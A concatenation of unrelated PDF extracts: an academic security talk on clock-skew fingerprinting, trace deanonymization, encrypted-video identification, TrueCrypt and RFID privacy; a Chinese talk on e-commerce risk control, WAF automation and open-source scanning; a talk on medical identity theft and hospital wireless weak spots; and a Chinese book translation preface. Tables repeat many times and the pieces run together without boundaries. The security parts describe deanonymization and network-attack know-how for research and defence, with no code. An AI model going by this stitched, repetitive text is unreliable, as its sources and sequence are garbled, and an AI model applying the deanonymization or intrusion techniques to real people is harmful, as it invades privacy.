2004-07-10 Wireless No -58.00 ppm Residential cable (CA) 2004-07-12 Wireless Yes -58.21 ppm Residential cable (CT) 2004-07-26 Wired Yes -58.19 ppm Residential cable (CA) 2004-09-14 Wireless Yes -58.22 ppm Dialup (CA) 2004-10-18 Dialup No -57.57 ppm Library (CA) 2004-10-18 Wireless Yes -57.63 ppm And when laptop was both behind and not behind a NAT. Laptop location Date Skew estimate SDSC (CA) 2004-07-10 -58.00 ppm Residential cable (CA) 2004-07-12 -58.21 ppm Residential cable (CT) 2004-07-26 -58.19 ppm Residential cable (CA) 2004-09-14 -58.22 ppm Dialup (CA) 2004-10-18 -57.57 ppm Library (CA) 2004-10-18 -57.63 ppm Laptop location Date Trace duration Packets Skew estimate SDSC (CA) 2004-07-10 3 hours 182 -58.00 ppm Residential cable (CA) 2004-07-12 3 hours 180 -58.21 ppm Residential cable (CT) 2004-07-26 3 hours 182 -58.19 ppm Residential cable (CA) 2004-09-14 30 minutes 1795 -58.22 ppm Dialup (CA) 2004-10-18 30 minutes 1749 -57.57 ppm Library (CA) 2004-10-18 30 minutes 946 -57.63 ppm Laptop location Date Trace duration Packets Skew estimate SDSC (CA) 2004-07-10 3 hours 182 -58.00 ppm Residential cable (CA) 2004-07-12 3 hours 180 -58.21 ppm Residential cable (CT) 2004-07-26 3 hours 182 -58.19 ppm Residential cable (CA) 2004-09-14 30 minutes 1795 -58.22 ppm Dialup (CA) 2004-10-18 30 minutes 1749 -57.57 ppm Library (CA) 2004-10-18 30 minutes 946 -57.63 ppm “Low” trace duration and data requirements. Simultaneously measure laptop from multiple locations around the world. Measurer location Distance (hops) Distance (ms) Skew estimate of laptop measurer2 8 1.16 -58.03 ppm San Diego, CA 8 1.15 -58.03 ppm Berkeley, CA 12 5.06 -58.02 ppm Seattle, WA 9 15.12 -58.01 ppm Princeton, NJ 14 36.97 -57.91 ppm Boston, MA 13 41.09 -58.10 ppm U. Kingdom 21 86.45 -58.18 ppm Switzerland 21 84.07 -58.40 ppm India 16 199.27 -59.60 ppm Singapore 15 93.55 -58.05 ppm CAIDA lab 5 0.24 -57.98 ppm Measurer location Distance (hops) Distance (ms) Skew estimate of laptop measurer2 8 1.16 -58.03 ppm San Diego, CA 8 1.15 -58.03 ppm Berkeley, CA 12 5.06 -58.02 ppm Seattle, WA 9 15.12 -58.01 ppm Princeton, NJ 14 36.97 -57.91 ppm Boston, MA 13 41.09 -58.10 ppm U. Kingdom 21 86.45 -58.18 ppm Switzerland 21 84.07 -58.40 ppm India 16 199.27 -59.60 ppm Singapore 15 93.55 -58.05 ppm CAIDA lab 5 0.24 -57.98 ppm PlanetLab machines are in red. Measurer location Distance (hops) Distance (ms) Skew estimate of laptop measurer2 8 1.16 -58.03 ppm San Diego, CA 8 1.15 -58.03 ppm Berkeley, CA 12 5.06 -58.02 ppm Seattle, WA 9 15.12 -58.01 ppm Princeton, NJ 14 36.97 -57.91 ppm Boston, MA 13 41.09 -58.10 ppm U. Kingdom 21 86.45 -58.18 ppm Switzerland 21 84.07 -58.40 ppm India 16 199.27 -59.60 ppm Singapore 15 93.55 -58.05 ppm CAIDA lab 5 0.24 -57.98 ppm Measurer location Distance (hops) Distance (ms) Skew estimate of laptop measurer2 8 1.16 -58.03 ppm San Diego, CA 8 1.15 -58.03 ppm Berkeley, CA 12 5.06 -58.02 ppm Seattle, WA 9 15.12 -58.01 ppm Princeton, NJ 14 36.97 -57.91 ppm Boston, MA 13 41.09 -58.10 ppm U. Kingdom 21 86.45 -58.18 ppm Switzerland 21 84.07 -58.40 ppm India 16 199.27 -59.60 ppm Singapore 15 93.55 -58.05 ppm CAIDA lab 5 0.24 -57.98 ppm The skew estimates seem (relatively) independent of the topology between laptop and the measurer. Measurer location Distance (hops) Distance (ms) Skew estimate of laptop measurer2 8 1.16 -58.03 ppm San Diego, CA 8 1.15 -58.03 ppm Berkeley, CA 12 5.06 -58.02 ppm Seattle, WA 9 15.12 -58.01 ppm Princeton, NJ 14 36.97 -57.91 ppm Boston, MA 13 41.09 -58.10 ppm U. Kingdom 21 86.45 -58.18 ppm Switzerland 21 84.07 -58.40 ppm India 16 199.27 -59.60 ppm Singapore 15 93.55 -58.05 ppm CAIDA lab 5 0.24 -57.98 ppm The skew estimates seem (relatively) independent of the measurer itself. OS on laptop NTP TSopt clock skew estimate System clock skew estimate Red Hat 9.0 No -58.20 ppm -58.16 ppm Red Hat 9.0 Yes -58.16 ppm -0.14 ppm Windows XP No -85.20 ppm -85.42 ppm Windows XP Yes -84.54 ppm 1.69 ppm Experiment with laptop running Red Hat 9.0 and Windows XP, both with and without NTP- based system time synchronization. OS on laptop NTP TSopt clock skew estimate System clock skew estimate Red Hat 9.0 No -58.20 ppm -58.16 ppm Red Hat 9.0 Yes -58.16 ppm -0.14 ppm Windows XP No -85.20 ppm -85.42 ppm Windows XP Yes -84.54 ppm 1.69 ppm NTP-based system time adjustments do not seem to affect the systems’ TSopt clock skews. OS on laptop NTP TSopt clock skew estimate System clock skew estimate Red Hat 9.0 No -58.20 ppm -58.16 ppm Red Hat 9.0 Yes -58.16 ppm -0.14 ppm Windows XP No -85.20 ppm -85.42 ppm Windows XP Yes -84.54 ppm 1.69 ppm Different operating systems running on the same hardware can have different TSopt clock skews. Is there a predictable relationship? Without NTP-based system time adjustment, a device will have the same TSopt and system time clock skews. OS on laptop NTP TSopt clock skew estimate System clock skew estimate Red Hat 9.0 No -58.20 ppm -58.16 ppm Red Hat 9.0 Yes -58.16 ppm -0.14 ppm Windows XP No -85.20 ppm -85.42 ppm Windows XP Yes -84.54 ppm 1.69 ppm Study Limitations t (in seconds) C - t (in seconds) i i i Windows XP SP2 power management on laptop (Additional information leakage?) Explore Applications Honeyd 0.8b ✦ Honeyd [Provos]: “A framework for virtual honeypots that simulates virtual computer systems at the network level.” ✦ Our observation: All virtual hosts in a honeyd virtual honeynet have approximately the same TSopt clock skew. Honeyd 0.8b i Example plot for 100 honeyd virtual Windows XP machines on the same host. t (in seconds) C - t (in ms) i i VMWare Workstation t (in seconds) C - t (in seconds) i i i Five VMWare Workstation virtual machines running Red Hat 9.0 and the host (also Red Hat 9.0). Deanonymizing anonymized network traces ✦ On 2004-04-21, CAIDA took a 2-hour passive trace on a major OC-48 link. ✦ Since the researchers wanted to use that trace to analyze P2P traffic: ✦ The trace contained partial payload data. ✦ The IP addresses were anonymized. ✦ On 2004-04-28, CAIDA took another another 2-hour trace on the same link. This trace contained no payload data and was not anonymized. Using our techniques, we believe that we deanonymized a number of the IP addresses in the 2004-04-21 trace. But we could not verify whether we were successful. Deanonymizing anonymized network traces ✦ On 2005-01-13 and 2005-01-21 CAIDA took two 2-hour passive trace on an OC-48 link. ✦ We anonymized the 2005-01-13 trace and then attempted to deanonymize it given the 2005-01-21 trace. Deanonymizing anonymized network traces ✦ There were a total of 11862 IP addresses common to both traces. ✦ Our program output 2170 candidate anonymous-to-real mappings, of which 1902 (88%) were correct. ✦ Since the anonymization was prefix-preserving, we believe that the 2170 candidate mappings output by our program could catalyze additional deanonymizations. Other possible applications ✦ Count the number of devices behind a NAT, even if not all the devices are up at the same time. ✦ Provide additional information for use with “tracking” physical devices. ✦ Provide forensics evidence about whether a given device was involved in some action. Present Defenses Possible countermeasures ✦ The TCP Timestamps Option is an option: disable it. ✦ The timestamps a sender includes in a packet are only later used by itself (they are simply echoed by the other party): don’t include real timestamps in outgoing packets. ✦ Make a device appear to have the clock skew of a different device. And Mention Open Problems Some open issues ✦ Better understand the effects of (and possibly additional information leakage from) ✦ Temperature variation. ✦ Power management. ✦ Device load. ✦ Operating system. ✦ Further explore minimum data requirements. Since 2005 ✦ Our open problems become useful to others ✦ E.g., Steven Murdoch’s CCS 2006 paper ✦ “Hot or Not: Revealing Hidden Services by their Clock Skew” ✦ Attacks Tor Hidden Services Nike+iPod Sport Kit Example: Streaming Media Internet Home wireless The future of personal entertainment Apple TV Slingbox Pro Sony LocationFree LF-B20 Encryption and the Slingbox Pro ✦ Slingbox Pro uses encryption ✦ To protect privacy of user’s viewing habits ✦ Pirated or private content ✦ “Encryption” puts a sealed envelope around messages ✦ Only receiver can open ✦ Assume we cannot break encryption Eavesdropper Encryption and the Slingbox Pro ✦ Taking a closer look: ✦ Data sent over network (802.11, Internet) ✦ Entire movie broken into many envelopes (packets) ✦ Variable bitrate encoding: ✦ Number of packets depend on scene ✦ Fingerprint of a movie that survives encryption! Eavesdropper Ocean’s Eleven Throughput/time for three traces of Ocean’s Eleven Accuracy ✦ 26 movies, twice over wireless, twice over wired ✦ Average identification rates for all 26 movies (compared to < 4% by random guessing) ✦ 10 minute sample: 62% ✦ 40 minute sample: 77% ✦ Some movies much better ✦ 15 of 26 movies, 40 minute traces, ≥ 98% accuracy Confusion matrix, 10 min traces Confusion matrix, 40 min traces 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1 Related Work ✦ Lots of excellent related works, e.g.: ✦ Wright, Ballard, Monrose, Masson. “Language Identification of Encrypted VoIP Traffic: Alejandra y Roberto or Alice and Bob?” USENIX Security 2007 ✦ Wright, Ballard, Coulls, Monrose, and Masson. “Spot Me If You Can: Recovering Spoken Phrases in Encrypted VoIP Conversations.” IEEE Symposium on Security and Privacy 2008. Defeating Deniable File Systems: A TrueCrypt Case Study Alexei Czeskis (University of Washington) David St. Hilaire University of Washington) Karl Koscher (University of Washington) Steven D. Gribble University of Washington) Tadayoshi (Yoshi) Kohno (University of Washington) Bruce Schneier (BT) Protecting Your Data ✦ Can I just encrypt my data? .... well, no ✦ If an attacker sees that there is encrypted information, he’ll just ask you for your password. ✦ Methods of getting passwords: ✦ Algorithmic, fines, jail, extortion, torture Executives have been told that they must hand over their laptop to be analyzed by border police--or be barred from boarding their flight. A report from a U.S.-based marijuana activist says U.S. border guards browsed through her laptop's contents; British customs agents scan laptops for sexual material; so do their U.S. counterparts. Deniable File System (DFS) ✦ Idea: hide the existence of a portion of the file system. ✦ The attacker should not be able to distinguish random free space from data. ✦ "Deniable Encryption" by Canetti, et al. (1996). Analyzing a DFS ✦ How do we analyze a DFS? ✦ Are there issues that all Deniable File Systems must overcome? ✦ Goal: Identify/formalize principles of information leaks in Deniable File Systems ✦ Previously: from below (media) ✦ Us: from above (OS, applications) A DFS Implementation: TrueCrypt Hidden Volumes truecrypt.org ✦ Outer Volume ✦ Non-hidden ✦ Encrypted file ✦ Free space is random data ✦ A container ✦ Inner Volume ✦ Stored inside a container ✦ Encrypted with different password Threat Model ✦ One-Time Access ✦ Secret police seize computer ✦ Intermittent Access ✦ HD copied when crossing border in/out ✦ Regular Access ✦ Secret police break into apartment every day TrueCrypt Case Study ✦ Your computer tells on you. ✦ Information leaks (in Vista): ✦ Operating system (Shortcuts, Registry) ✦ Primary Applications (MS Office, Photoshop, etc...) ✦ Non-Primary Apps (Google Desktop) ✦ Used OverthrowGovernment.doc The OS ✦ Registry mentions that a TC volume was mounted - not really a problem ✦ Recently used shortcuts are generated automatically and show: ✦ real file’s name ✦ its location ✦ its creation, modification, access times ✦ volume type and serial number it was on Primary Application ✦ By default MS Word auto-saves open files to a directory on the c: drive. ✦ Deleted when word exits successfully ✦ Issues: ✦ Remains on disk when process killed ✦ Not a clean delete ✦ Recoverable even after reboot Non-Primary Application ✦ Google Desktop enhanced search ✦ Indexes and caches files from hidden volume ✦ When hidden volume is unmounted, the files remain and are easily recovered. ✦ Current and previous versions The Point is... ✦ It’s hard to have a complete DFS ✦ Issue for any DFS: Every process that reads data could potentially store it somewhere else ✦ Need ✦ OS support ✦ Hardware support Type D: Exploring Attacks Against Future Systems Properties of these projects ✦ Sometimes the systems we wish to study do not exist yet “in the wild” ✦ In such cases, we develop and deploy our own systems, and then try to “attack” them ✦ The goal is to help us better improve the security and privacy of future systems Exploring Privacy in the RFID Ecosystem Karl Koscher (University of Washington) Rest of the RFID Ecosystem Team (University of Washington) About Karl ✦ Ph.D. student at the University of Washington ✦ Working on all sorts of things ✦ Many projects involve RFID and/or privacy ✦ Previously a research engineer at UW, working on: ✦ The RFID Ecosystem ✦ Embedded Systems ✦ Member of the UW Society and Technology Group ✦ Long history of hacking -- first post to BugTraq in 1997 The Future of RFID ✦ Old technology -- around since World War 2 ✦ Drastic drops in cost are making the technology pervasive ✦ Readers are much less complicated than WiFi access points ✦ Economies of scale are the only reason they cost more -- this may change! ✦ Once price/tag < 5¢, it’s economical to tag EVERYTHING ✦ What happens when this technology is deployed everywhere and in everything? The RFID Ecosystem ✦ RFID will become pervasive ✦ Before that happens, try to figure out: ✦ What cool applications does pervasive RFID technology enable? ✦ What are the privacy and security issues that arise? The RFID Ecosystem ✦ Building-wide deployment in the Allen Center ✦ Over 30 readers currently deployed ✦ Over 130 antennas currently deployed ✦ Covers floors 2 - 6 ✦ Basement and 1st floor are coming soon Deployment Challenges ✦ Some areas are privacy-sensitive (e.g. bathrooms) ✦ Exclude these areas from RFID coverage ✦ Antenna deployment must be aesthetically- pleasing and keep 9” away from bodies ✦ Mounted on the bottom of cable trays Deployment Map Privacy Issues ✦ Rogue Surveillance ✦ Institutional Surveillance ✦ Setting the right access controls ✦ Gaming the system ✦ Unintended consequences of privacy controls Rogue Surveillance ✦ Industry is rallying behind EPC Gen2 ✦ Class 1 Gen 2 tags have essentially no security features ✦ Anyone with a Gen2 reader can read your tags, from potentially far away ✦ 160+ ft in highly ideal, FCC-compliant tests ✦ We can track anyone with a Washington Enhanced Drivers License Institutional Surveillance ✦ In today’s RFID systems, the system owner can track all tags everywhere they have readers ✦ DEMO ✦ Is this a real threat? Worker Snooping on Customer Data Common By RYAN J. FOLEY MADISON, Wis. (AP) — A landlord snooped on tenants to find out information about their finances. A woman repeatedly accessed her ex-boyfriend's account after a difficult breakup. Another obtained her child's father's address so she could serve him court papers. … Documents obtained by The Associated Press in an employment case involving Milwaukee-based WE Energies shine a light on a common practice in the utilities, telecommunications and accounting industries, privacy experts say. Vast computer databases give curious employees the ability to look up sensitive information on people with the click of a mouse. The WE Energies database includes credit and banking information, payment histories, Social Security numbers, addresses, phone numbers, and energy usage. In some cases, it even includes income and medical information. Experts say some companies do little to stop such abuses even though they could lead to identity theft, stalking and other privacy invasions. And companies that uncover violations can keep them quiet because in many cases it is not illegal to snoop, only to use the data for crimes. Tracking customers? Boeing bosses spy on workers By ANDREA JAMES P-I REPORTER Within its bowels, The Boeing Co. holds volumes of proprietary information deemed so valuable that the company has entire teams dedicated to making sure that private information stays private. One such team, dubbed "enterprise" investigators, has permission to read the private e-mails of employees, follow them and collect video footage or photos of them. Investigators can also secretly watch employee computer screens in real time and reproduce every keystroke a worker makes, the Seattle P-I has learned. For years, Boeing workers have held suspicions about being surveilled, according to a long history of P-I contact with sources, but at least three people familiar with investigation tactics have recently confirmed them. Access Control Policies ✦ Hard to get right ✦ Time consuming even for experts ✦ One option: Reuse existing social networks ✦ Facebook application now being developed ✦ What should a usable “default” be? Physical Access Control ✦ Idea: Have access to tag reads that you could have physically seen ✦ Simple mental model ✦ Minimal level of access while still being usable ✦ Not perfect: ✦ Assumes 360 degree vision ✦ Can potentially reveal tags through walls Physical Access Control to Captured RFID Data (2007, Kriplean, Welbourne, Khoussainova, Rastogi, Balazinska, Borriello, Kohno, Suciu) Gaming the System ✦ How do we determine your location? ✦ It’s your “person” tag! ✦ No reason why you have to keep it with you... ✦ No reason why you can’t clone it! ✦ No reason why you can’t put it on someone else! Unintended Consequences ✦ What if we notified you when someone queried for your location? ✦ This reveals potentially private information about the requester! ✦ Implemented in an undergrad class ✦ One student felt unpopular because her location wasn’t being queried often by her friends Part 2: Hacking in the Undergraduate Curriculum The Security Mindset Developing the “Security Mindset” in a University of Washington undergraduate computer security course Part 3: The Industry Perspective About Jon ✦ Co-founder of PGP Corporation ✦ Been involved in OS security and crypto for many years ✦ Past work: DEC, Apple, Counterpane ✦ Co-author of OpenPGP, DKIM standards How do we feel? ✦ The smart people love it ✦ Part of my goal: to help people get smart ✦ Fight-or flight can be powerful Educates the market ✦ Market forces frequently punish a secure system ✦ People have to know about insecurities ✦ If people get used to them, it’s hard to upgrade Hacking is Important ✦ It shows limitations of present thought ✦ It shows what is important ✦ It is believed people won’t buy security ✦ It is believed people don’t care about privacy ✦ Should we care, ourselves? We benefit as well ✦ Does a new technology work as advertised? ✦ What are its downsides? ✦ Who is doing something we don’t like? Independent voices are needed ✦ There is no better way to test a system ✦ Practice is better than theory Peer Review ✦ It adds weight to the results ✦ It provides safety to the scientists ✦ It can protect upsetting results ✦ It removes political debate ✦ We get people’s attention better Hackers and Academics ✦ Some of the best hackers are academics ✦ Some of the best researchers are hackers ✦ The two communities should work more closely We want to work with scientists ✦ Peer Review helps science and technology ✦ PGP source has been available on web for peer review for many years ✦ We also hire researchers to test us ✦ Smart industry players feel the same way Part 4: Your Turn Conclusions
pdf
宝宝树安全总监:王利 宝宝树 中国规模最大孕婴社区,公司员工约1000人 每天产生文字图片音视频百万级 用户覆盖全国大部分年轻一代准妈妈和孕婴妈妈 分享人:王利 多年甲乙双方打杂经验 曾任职于宝宝树、爱奇艺等互联网公司 兴趣爱好:产品经理、白帽子、羊毛党 公司介绍 Topics • 0x01 安全体系 (社区+电商) • 0x02 风控边控联动 (反爬虫+反扫描+防火墙自动化) • 0x03 风控系统 (引擎+指纹+数据) • 0x04 开源应用 (扫描平台+ HIDS) • 0x05 数据安全 (加密+脱敏+DLP) 宝宝树社区&电商常见攻击 中等规模社区电商互联网安全体系(绿色优先完成) 半 年 零 预 算 异 地 多 IDC 全 私 有 云 日志平台与防火墙联动:自动化拦截 2017.12.8 扫描引发 的事件: • 在大型众测平台上 线SRC前,需做好 防扫描、爬虫、自 动化渗透工具 前提条件 l 日志平台(ELK、Splunk) l WAF(防火墙)有API:支持向API写 拦截规则(国产WAF较多没有API) 业务价值: l 反扫描、反爬虫、绊IP l 防火墙自动化运维(参考宜信) l ACL管控服务(参考爱奇艺) 日志平台与防火墙联动:自动化拦截 Nginx访问日志 WAF防火墙日志 1.收集日志 2.配置拦截规则 3.向API写拦截策略 WAF/防火墙 4.1 拦截IP 4.2 拦截用户session 4.3 拦截UA、 token等特征值 宝宝树多个APP 5.给APP返回拦截 时的http code 6.APP根据code定制 回显,减少误伤投诉 日志分析平台 踩过的坑:日志平台与防火墙联动 1. 拦截高频爬虫导致某个IDC多花几万元网费: waf拦截触发返回 403页面默认是一张30K的 图片,当高频爬虫每分钟10万次请求时, IDC出口流量暴增,网费增加。优化WAF返 回403页面的大小,只写文字,不用图片。 2. 拦截IP误伤用户投诉:每月XX人。因用户宽 带NAT导致。需精准拦截session或设备。 3. WAF硬盘日志打满,查询打不开。需及时收 到日志平台。Nginx日志量太大,只存几天。 4. 拦截IP只是解决爬虫的辅助方法:爬虫和撞 库来自全国各地IP代理池。需主要接口接入 风控拦截设备指纹和JS浏览器指纹。 5. 不能防撞库:每个IP登录3次后换IP,防撞库 需增加APP设备指纹和H5 js指纹验证。 日志平台+Redis+API 准实时简易风控 Nginx访问日志 业务功能接口 打印结果日志 1.收集日志 2.配置风控规则 3.分析结果入库 宝 宝 树 业 务 服 务 端 日志分析平台 4.实时同步数据 到缓存 6.查询风控库 5.http请求风 控API,用uid 查询用户风险 并返回结果 8.离线用户画像 业务价值: l 人机账号识别:抓机器注 册登录、刷接口、单设备 登录多账号 l 社区抽奖/产品试用反黄牛 7.异步写入 举个栗子:机器注册识别规则 (APP和H5未上线设备指纹时使用) 机器注册特征: 软件注册机IP:一次请求注册接口,并注册成功。 打码平台IP:请求图片验证码、短信验证码,猫池提 供手机号,可批量重置猫池手机号密码。 Saas风控 VS 本地风控引擎 • Saas风控:黑数据查询API+简单风控规则 • 本地风控:复杂风控规则+自产黑数据+外采黑数据 • 多家手机号黑卡测试效果:黄牛黑名单命中率50%,非黑用户误伤率30%-50% • Why只有50%? 在互联网金融骗贷,不一定在社区发广告,也不一定在电商撸羊毛 本地风控:推荐关注:爱奇艺技术产品团队、唯品会微信公众号 风控系统:引擎+规则+数据+设备指纹 风控对外接入:http API(有代码侵入)、日志、消息队列(无代码侵入) 风控处理中心:实时、近实时、离线计算 风控管理平台:规则、模型 风控处罚中心:API接口、边控设备 APP和H5js设备指纹:人机识别、标识设备、模拟器/root/越狱检测 某大厂风控引擎:接入、处理、规则、处罚 踩过的坑: 1.开源浏览器指纹Fingerprint2:不适用APP和手机H5页面指纹,同型号 、操作系统版本、浏览器相同,则指纹相同 2.APP未集成设备指纹SDK前: 服务端收集MAC、IMEI、uuid、IDFA、分辨率等等+盐 计算APP设备指纹 网页可采用Fingerprint2开源浏览器指纹 3.不要过度依赖图片验证码,一些可被打码平台秒过,不过不扣费 设备指纹:人机识别、设备标识、模拟器/root/按键精灵/改机工具 1.APP集成设备指纹SDK H5网页集成js设备指纹 2.发送采集数据 4.返回Token 工号同步 (标准LDAP) 3.计算设备指纹和Token APP和H5网页 风控服务集群 风控计算:传递字段 / 指标计算 / 匹配规则 / 返回结果 用好基本风控规则+设备指纹,解决70%以上的问题 1. 用户字段:uid、手机号(注册、收货)、收货地址、身份证号等 2. 设备字段:APP设备指纹、H5 jS指纹、模拟器、root/越狱等 3. 支付字段:银行卡号、微信账号、支付宝账号等 4. 交易字段:交易金额(购买/提现)、数量、活动、sku等 5. 网络:IP、User-Agent、Refer、Cookie、URL、接口顺序等 6. 时间间隔:注册时间、登录时间、交易时间、请求时间间隔等 基本计算规则:计数、求和、去重、平均值等 基本风控规则举例:某促销活动,每个支付卡号、微信支付号、支付宝号都只能下单1次;每个设 备只能下单1次;每个用户uid只能下单1次;收货地址距离相似性检测(调用地图API) 风控规则:分布式真人QQ薅羊毛群 经验和坑: 1. 熟悉套路 2. 分析工具 3. 黑地址规则:按收货地 址/地区做购买配额,控 制羊毛区域地址 4. 支付账号和设备去重 5. 坑:某些免费Android 加固阉割的越来越容易 逆向 QQ薅羊毛群 逆向老版本APP 绕过风控逻辑 发布多种薅羊毛工具 安全扫描平台+漏洞管理+任务管理 扫描引擎 • 主动扫描 • 被动扫描 漏洞管理 • OWASP&DefectDojo • 宜信洞察 任务管理 • Redmine • Jira 通知机制 • Email • 微信 安管平台 • SOC、SRC • 多系统打通 安全扫描平台(基于开源搭建) 主动扫描系统(集成多个扫描引擎) • 最简单实用:外网端口扫描、眼镜蛇php审计 • 外网端口变化扫描(Nmap/masscan) • 域名暴破(李姐姐等) • Web扫描(AWVS接口) • 主机扫描(Nessus/OpenVAS) • Docker镜像扫描 • 特定漏洞快速扫描(巡风等) • 信息泄露扫描(Git) • 弱口令扫描(只暴外网) • 终端漏洞扫描(MSF) • PHP代码审计(Cobra) • 详见grayddq的Github开源 被动扫描系统 • 数据源(日志、流量镜像、代理) • 数据处理、检测规则、漏洞验证 开源主机入侵检测HIDS 业务价值: • 主机被入侵、后门、反弹shell等报警 开源HIDS: • 方案一:OSSec • 方案二:OSQuery • 方案三:YSRC开源驭龙 • 报警收集:SOC、ELK、Splunk • 详见grayddq的Github开源 商业HIDS: • 资产清点+HIDS+漏扫+报警+监控 • SAAS部署 or IDC私有部署 用户/订单数据安全:加密、脱敏、DLP 1. 数据库字段加密:自研加密service(PHP)、加密服务层(Java)、业务系统接入 2. 前端展示脱敏:敏感内容******展示 3. 电子文件透明加密:运营、审核、客服、海淘、第三方、仓储、物流等office文件加密 4. 外发电子文件加密:离线发送加密数据和订单文件、在线系统对接发送数据和订单 5. 网络和终端DLP:数据指纹、敏感数据外发拦截审批(弱管控方案) 社区电商渗透:易被忽视的简单高危漏洞 移动互联网时代,APP用户量是网站的多少倍? 1K/10K/100K? 关注Web+逻辑+安卓逆向 易被忽视的简单高危漏洞: l 竞争条件:并发抽奖、提现 l 水平越权:遍历大量用户信息 l 前端跨域:Jsonp劫持 l 业务逻辑漏洞:刷积分、薅羊毛、发广告 l Android逆向:老版本仿冒APP,绕过风控薅羊毛 支付漏洞、注入、XSS纳入软件自动化测试团队工作 THANKS 致谢:Frank Lu、李姐姐、咚咚呛、呆子不开口 业务驱动安全 兴趣作为职业 安全源于喜欢
pdf
Medical Identity Theft updated slides available at www.pskl.us Eric Smith Bucknell University Dr. Shana Dardan Susquehanna University …Because of the difficulty in detection, the potential exists for this crime to be happening substantially more frequently than anyone has documented to date... World Privacy Forum, Spring 2006 US Health Care Costs as a Ratio of the GDP: 1997: 13.0% 2002: 14.6% 2006: 16.3% 2017: 20.0% [Forecast] -Washington Post, 2008 Background of the Problem 0% 5% 10% 15% 20% 25% 1995 2000 2005 2010 2015 2020 Craig Barrett, then-CEO of Intel noted in 2006 that health care costs were a driving factor in Intel’s decision to pursue operations overseas. Who is paying for this? Businesses Governments Ultimately – the consumer Cutting Costs Transmit them across a private network Patients’ records can be shared easily among doctors and other health care providers - “HIT Report at a Glance,” U.S. Department of Health and Human Services Press Release, 7/21/04 Digitize patient medical records Cutting Costs Reduction in medical errors - Conversations with Sutter Health, 2008 Increased efficiency Sutter Health: 88,000 medical errors prevented in first three years Better communication, especially between health care providers Costs of Medical Errors - “The Quality of Health Care Delivered to Adults in the United States,” New England Journal of Medicine; June 2003 ~$17 to $29 billion per year Costs of Medical Errors - “To Err is Human: Building a Safer Health System;” Institute of Medicine, 2000, pg 26 98,000 deaths per year “The very comprehensive and ubiquitous nature of the NHIN that makes it attractive also makes it a source of concern. If digitized medical records can move throughout a nationwide system easily and quickly, then that means that incorrect files, factual data, etc. will also move easily and quickly between every doctor and hospital.” The NHIN: National Health Information Network - Dixon, 2006 “Certain kinds of fraud – such as falsification of medical records – probably would not be detected through current methodology… Some experts suggest that a statistically valid estimate of fraud might not be possible at all, given the covert nature and level of evidence necessary to meet the legal definition of fraud.” -Testimony given by Penny Thompson, Program Integrity Director, Health Care Financing Administration before the House Budget Committee Task Force on Health. (Federal News Service, July 12, 2000.) Billions of Dollars and Computers: Fraud Accounts for 3-10% of all health care costs $120 to $500 billion per year Demand for medical records? ID Theft: -Lack of health insurance -Fear of losing current or future employment Health Care Fraud: Victims - Malcolm Sparrow , Harvard University In 2001, the Equal Employment Opportunity Commission sued Burlington Northern and Santa Fe Railway Company after the company genetically tested or sought to test employees’ blood without their consent or knowledge. The testing was part of an examination for employees who had filed compensation claims for carpel tunnel syndrome; in response to the filing, the company wanted to know if those employees had a genetic predisposition to carpel tunnel syndrome. The case was settled out of court in 2002 for $2.2 million. Equal Employment Opportunity Commission vs. The Burlington Northern and Santa Fe Railway Company - Civil Action File No. 02-C-0456 Real-Life Gattaca “Medical identity theft often leaves its victims without substantive recourse or clear pathways to follow for help. Recovery for victims of medical identity theft may be difficult or impossible because of the lack of enforceable rights, and because the dispersed and often hidden nature of medical records.” - World Privacy Forum, Spring 2006 Consumer Protections: Medical versus Financial FCRA HIPAA Correcting Errors Viewing your Record Legal Recourse System in Place No System System in Place No System System in Place No System HIPAA-compliant facility Good physical and IT security 3.2 million patient records obtained in < 1 hour How hard would it be? Hospital Penetration Tests: Discreet analysis at other large hospitals suggest that this is a widespread phenomena. In this scenario, how does the "reasonable measures" clause compare with vulnerabilities discovered? Hospital Networks: Weak Spots Hospital networks: what’s unique? Most areas open to the public 24/7 Security staff are accustomed to random people Prevalence of guest/patient WiFi networks makes blending in easy Focus of our research: public areas in hospitals Typical Notebook PC / PDA Uses VoIP Handsets Patient Vital Signs Equipment Monitoring Hospital Wireless Networks Many systems use embedded Windows or Linux. Providers are frequently unable to apply operating system patches due to software validation issues. Few systems include anti-virus or anti- spyware packages. Most systems are connected to the provider’s production network. Medical Hardware Physical Attacks against a Wireless Network pwn3d! Demo: Automating the Attack Questions?
pdf
Advanced Linux Programming 高级 Linux 程序设计 卷 I 网址 http://www.AdvancedLinuxProgramming.com 译者 完美废人 网址 http://blog.csdn.net/Wolf0403 作者 Mark Mitchell Jeffrey Oldham Alex Samuel 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 谨以此书献给 四月 你是我生命中的奇迹 www.AdvancedLinuxProgramming.com 2 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 译者序 在 CSDN 论坛潜水多年,看同学们讨论学习 C++ 的书籍的选择的时候,总是对那 些经典大部头有种本能的恐惧。我自己也是一样。在学习 Linux 编程的开始时候,我曾 在 Richard Stevens 的经典著作面前徘徊不前。很幸运的,有朋友向我推荐了这本 Advanced Linux Programming。它内容浅显语言生动,很快带领我进入了 Linux 程序设 计的殿堂。之后再阅读 Stevens 等大师的著作也便不再显得生涩而困难。 但是,当我向其他朋友推荐这本书的时候,却往往因为语言的关系而被婉拒。这样 一本优秀的入门读物无法在广大以中文为母语的学生中无法普及,实在是一件莫大的憾 事。于是我就有了翻译这本书的念头。 在这里我首先希望对原书的三位作者表示感谢,感谢他们写了,并以无私的精神免 费公开了,这样一本优秀的技术书籍。 其次,我想感谢几位朋友为本书的翻译、校对过程作出的贡献,他们是:CSDN 论 坛的无锋之刃、猪头流氓、标准 C 匪徒、hellwolf,老兵团的超越无限。尤其感谢四月: 可以说,没有你,就不会有这卷中文译本的诞生。 译本与原书一样,按照Open Publication License v1.0 发行。OPL全文可以从 http://www.opencontent.org/openpub/ 找到。欢迎将本书在网上复制分发,但请保留原作 者与译者的版权信息。如有平面媒体愿意出版或刊载本书的全部(仅卷I或全书)或部 分,请与我联系。 姓名:高远 昵称:完美废人 主页:http://blog.csdn.net/Wolf0403 电子信箱:wolf0403@hotmail.com 谢谢! www.AdvancedLinuxProgramming.com 3 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 Linux 系统中的高级 UNIX 编程 1 起步 2 编写优质 GNU/Linux 软件 3 进程 4 线程 5 进程间通信 www.AdvancedLinuxProgramming.com 4 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 